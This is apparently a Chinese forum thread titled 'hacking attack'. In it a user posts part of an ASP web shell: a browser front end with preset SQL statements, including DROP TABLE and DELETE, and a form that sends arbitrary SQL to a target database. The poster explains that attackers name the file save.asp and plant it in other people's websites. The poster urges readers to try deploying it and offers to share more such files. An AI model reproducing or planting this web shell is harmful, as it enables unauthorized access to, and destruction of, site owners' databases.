黑客攻击

yumingcheng110

[TableName](USER,PASS) VALUES(\'username\',\'password\')";Str[6] = "DELETE FROM [TableName] WHERE ID=100";Str[7] = "UPDATE [TableName] SET USER=\'username\' WHERE ID=100";Str[8] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))";Str[9] = "DROP TABLE [TableName]";Str[10]= "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)";Str[11]= "ALTER TABLE [TableName] DROP COLUMN PASS";Str[12]= "当只显示一条数据时即可显示字段的全部字节，可用条件控制查询实现.\n超过一条数据只显示字段的前五十个字节。";if(i<=3){DbForm.DbStr.value = Str;DbForm.SqlStr.value = "";abc.innerHTML="<center>请确认己连接数据库再输入SQL操作命令语句。</center>";}else if(i==12){alert(Str);}else{DbForm.SqlStr.value = Str;}return true;}function FullSqlStr(str,pg){if(DbForm.DbStr.value.length<5){alert("请检查数据库连接串是否正确!");return false;}if(str.length<10){alert("请检查SQL语句是否正确!");return false;}DbForm.SqlStr.value = str;DbForm.Page.value = pg;abc.innerHTML="";DbForm.submit();return true;}</script></body></html>

yumingcheng110

把那些小图标换成字符，就是完整的黑客文件，黑客把这个文件起名为save.asp,然后把它放到别人的网站文件中。

yumingcheng110

有兴趣的朋友可以把它变成.asp文件，放到网站上，看看有什么作用。。

yumingcheng110

如果有朋友有兴趣，还可以继续贴另外一些黑客文件。